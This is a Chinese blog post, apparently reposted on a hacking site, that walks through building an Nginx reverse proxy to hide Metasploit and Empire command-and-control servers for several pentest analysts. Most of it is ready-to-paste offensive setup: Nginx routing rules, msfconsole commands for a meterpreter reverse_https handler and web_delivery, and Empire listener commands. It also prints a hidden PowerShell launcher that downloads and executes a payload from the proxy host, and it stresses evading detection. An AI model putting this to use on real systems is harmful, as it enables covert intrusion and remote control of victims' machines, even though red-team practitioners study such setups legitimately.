记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

多工具多用户HTTP代理

2016-11-01 17:15

背景

目前许多流行的命令和控制(C2)工具通过HTTP操作(Metasploit和Empire)。HTTP作为C2有效协议的原因之一是它几乎允许存在于每个网络并且期望来自每个网络设备的行为。此外,使用HTTP over TLS为这些工具增加了一层额外的安全性,因为它使得检查C2流量成为一个挑战。正确配置Web代理执行SSL / TLS的检查能够更好地检测C2的流量,但在测试的组织中通常不会看到此功能。

为了看起来尽可能正常,HTTP C2流量应该在80和443端口上操作。如使用8080端口将引起更多的怀疑。一个有趣的问题是我喜欢在同一个主机上使用多个工具。如果我想在同一个盒子上使用Empire和Metasploit的Web Delivery模块,我将需要总共三个端口,我会使用80、8080、443端口。但是,我会让我所有的流量走443端口。在Sword & Shield中我们利用多个安全分析器。我喜欢有一个主机的所有分析器使用C2代理的想法。如果有3个分析器,都希望监听Empire和Metasploit,我将需要九个端口。

这个问题可以通过使用Nginx作为反向代理服务器来创建C2代理的方法解决。这将允许使用单个Web服务器,可以在一个端口上为多个用户处理多个工具,如下图所示。设置完成后,代理规则将流量拆分到每个端口的解析C2服务上。此配置还允许实际的C2服务器(被代理的主机)标识保持为秘密。在C2代理服务器被烧毁的情况下,新的实例可以与新的主机提供商站一起。Nginx可以快速的安装、配置、操作。

nginx-install图1 多用户多工具C2代理体系结构

Nginx安装设置

首先,在VPS或者自己的服务器上安装你最喜欢的Linux发行版本。本教程中选择在VPS中使用Ubuntu 16.10。按照教程安装Nginx,并运行受信任的SSL / TLS证书:https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-16-04。我的服务器配置了只允许流量走443端口,80端口没有开放。

Nginx需要进行配置,以便知道处理转入连接。为了防止暴力枚举(或强迫浏览)有限的URL,每个分析器分配一个GUID。你可以从这里生成一个:https://www.guidgenerator.com/。我生成了三个分析器的GUID:

11111

#Analyst 1
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/ {
      proxy_redirect off;
      #Empire
      location /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/ {
        proxy_pass https://205.232.71.92:443;
      }
      #Metasploit
      location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/ {
        #Metasploit exploit/multi/script/web_delivery
        location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery {
          proxy_pass https://205.232.71.92:8080;
        }
        #Metasploit Payload windows/x64/meterpreter/reverse_https
        location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned {
          proxy_pass https://205.232.71.92:80;
        }
      }
}
#Analyst 2
location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/ {
      proxy_redirect off;
      #Empire
      location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/e/ {
        proxy_pass https://1.2.3.5:443;
      }
      #Metasploit
      location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/ {
        #Metasploit exploit/multi/script/web_delivery
        location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Delivery {
          proxy_pass https://1.2.3.5:8080;
        }
        #Metasploit Payload windows/x64/meterpreter/reverse_https
        location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Pwned {
          proxy_pass https://1.2.3.5:80;
        }
      }
}
#Analyst 3
location /6012A46E-C00C-4816-9DEB-7B2697667D92/ {
      proxy_redirect off;
      #Empire
      location /6012A46E-C00C-4816-9DEB-7B2697667D92/e/ {
        proxy_pass https://1.2.3.6:443;
      }
      #Metasploit
      location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/ {
        #Metasploit exploit/multi/script/web_delivery
        location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Delivery {
          proxy_pass https://1.2.3.6:8080;
        }
        #Metasploit Payload windows/x64/meterpreter/reverse_https
        location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Pwned {
          proxy_pass https://1.2.3.6:80;
        }
      } 
}

Nginx需要一种方法来区分Metasploit的请求和Empire的请求。我想出了使用m代表Metasploit,e代表Empire。向Empire发起的C2请求如下:

https://myc2proxy.com/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/index.asp

现在,我们的传入HTTP请求的语法已经确定,nginx需要配置为每个请求重新路由到适当的分析器的C2代理。这是使用Nginx配置文件/ etc / nginx / sites-enabled / default中的location指令完成的。对于这篇文章,我们将为每个分析器设置四个location指令。最外层的指令将匹配分析器的GUID。接下来的两个子location指令将用于将请求匹配到特定工具(即,e是Empire, m是Metasploit)。Metasploit location指令包含两个子location指令,以将传入的请求匹配到Metasploit中的特定模块及其关联的侦听器。以下配置信息可以粘贴在SSL服务器部分的Nginx配置文件/ etc / nginx / sites-enabled / default中。

此时,C2代理应该启动并运行,仅接受443端口上的TLS连接。配置完成后,C2工具需要配置为接受来自我们的C2代理的传入流量。

Metasploit设置

Metasploit有很多模块,可用于建立到受害计算机的C2连接。我个人最喜欢的是使用exploit / multi / script / web_delivery模块作为启动器。我喜欢这个模块,因为它可以运行受害计算机并将meterpreter加载进内存。这是理想的因为你可以使用内置的工具(即PowerShell),不必在受害者电脑上删除任何文件。加载Metasploit模块并使用在Nginx配置文件(即Delivery)中使用的URIPATH进行配置。必须禁用相关的有效payload处理程序,因为它需要单独配置才能为其提供唯一的配置。配置此模块时,将有效payload设置为windows / x64 / meterpreter / reverse_https,并将LHOST和LPORT设置为C2代理服务器的地址和端口,没有后台的C2服务器。此外,设置LURI以匹配在Nginx中设置的指令,以匹配有效payload(即Pwned)。仍然必须配置有效payload设置,即使侦听器不会启动。这是因为这些设置用于生成在执行模块时显示在屏幕上的启动器命令。可以将以下命令复制并粘贴到msfconsole中以配置和启动模块:

use exploit/multi/script/web_delivery
set URIPATH /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery
set DisablePayloadHandler true
set SSL True
set TARGET 2
set payload windows/x64/meterpreter/reverse_https
set LHOST myc2proxy.com
set LPORT 443
set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned
run -j

module-options图2 Metasploit web_delivery模块配置示例

当模块执行时,包含启动器代码的字符串将被打印到屏幕上。注意:端口必须从8080更改为443,无法覆盖此设置。我们必须手动更改它,因为我们的C2代理只接受连接443。启动字符串将如下所示(删除红色部分):

powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$o=new-object net.webclient;$o.proxy=[Net.WebRequest]::GetSystemWebProxy();$o.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $o.downloadstring('https://myc2proxy.com:8080/E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery');

必须为payload本身设置单独的处理程序。这是因为必须覆盖某些设置,以确保payloa与C2代理通信,而不是直接到C2服务器的后端。为此,设置lhost为0.0.0.0,Lport为80,或任何你想要在你的C2服务器后端打开的端口。我们需要配置高级OverrideLHOST,OverrideLPORT和OverrideRequestHost设置,以确保payload直接与C2代理服务器通信。可以将以下命令复制并粘贴到msfconsole中以配置和启动模块:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 80
set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned
set OverrideLHOST myc2proxy.com
set OverrideLPORT 443
set OverrideRequestHost true
set ExitOnSession false
run -j

module-options-2图3:反向HTTPS Payload配置示例

ProTip:特殊情况下,可以添加多个meterpreter传输以指向多个C2代理。

Empire设置

Empire我最喜欢的C2工具之一。对于这种代理设置,Empire有几个障碍要克服,使用PowerShell Empire version 1,初始连接序列使用在empire.db的配置表中定义的STAGE0,STAGE1和STAGE2。据我所知,没有办法在Empire CLI中更改它们,因此必须直接修改数据库。但是,PowerShell Empire version 2(在本博文发布时处于测试阶段)不使用此体系结构,并且初始回调和设置是在DefaultProfile侦听器属性中指定的页面上完成的。我建议下载Empire version 2的2.0_beta版本,运行下面命令获取beta版本:

cd /opt;git clone -b 2.0_beta https://github.com/adaptivethreat/Empire.git

注意:在写这篇文章时,agent.ps1文件中存在一个阻止正确设置DefaultProfile的错误。错误须手动修复。

随着Empire的新副本下载,启动应用程序。Empire没有像Metasploit这样覆盖设置的功能。Empire上创建的侦听端口必须和C2代理侦听的端口相同。因此Empire必须在端口443上通过HTTPS使用。好消息是,主机设置可以设置为匿名C2代理的地址。 非常重要的一点是,DefaultProfile被修改为包含分析器的GUID和工具标识符。以下命令可以复制并粘贴到Empire中以设置侦听器。

listeners
uselistener http
set DefaultProfile /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/admin/get.php,/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/news.asp,/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;rv:11.0) like Gecko
set Name EmpireC2
set CertPath /opt/Empire/data/empire.pem
set Host https://myc2proxy.com
set Port 443
execute
launcher powershell

module-options-3图4: Empire侦听器配置示例

执行

Nginx C2代理随着分析器的C2服务器后端一起配置。在测试计算机上执行生成的启动程序之一,您将看到shell进入后端C2服务器。为了增加安全措施,请将后端C2服务器配置为仅允许来自C2代理的连接。

结论

代理可用于保持后端服务匿名,这在网络上执行命令和控制活动时特别有用。HTTPS连接预计在大多数网络上通常不进行检查。这有助于安全分析师逃避检测。在主机名或IP由于检测而丢失的情况下,安全分析师可以建立新的反向代理,并防止不必重新启动Metasploit / Empire服务器。此外,单个主机名可以允许团队的所有成员用于C2,但允许每个分析器拥有自己的后端C2服务器。Nginx是一个执行反向代理功能的好工具,允许每个分析器拥有自己的后端C2服务器。 Nginx是一个执行反向代理功能的好工具,允许多个工具和多个分析人员使用它的location指令。

 

未经允许不得转载: » 多工具多用户HTTP代理

知识来源: www.mottoin.com/91204.html
想收藏或者和大家分享这篇好文章→复制链接地址

“多工具多用户HTTP代理”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词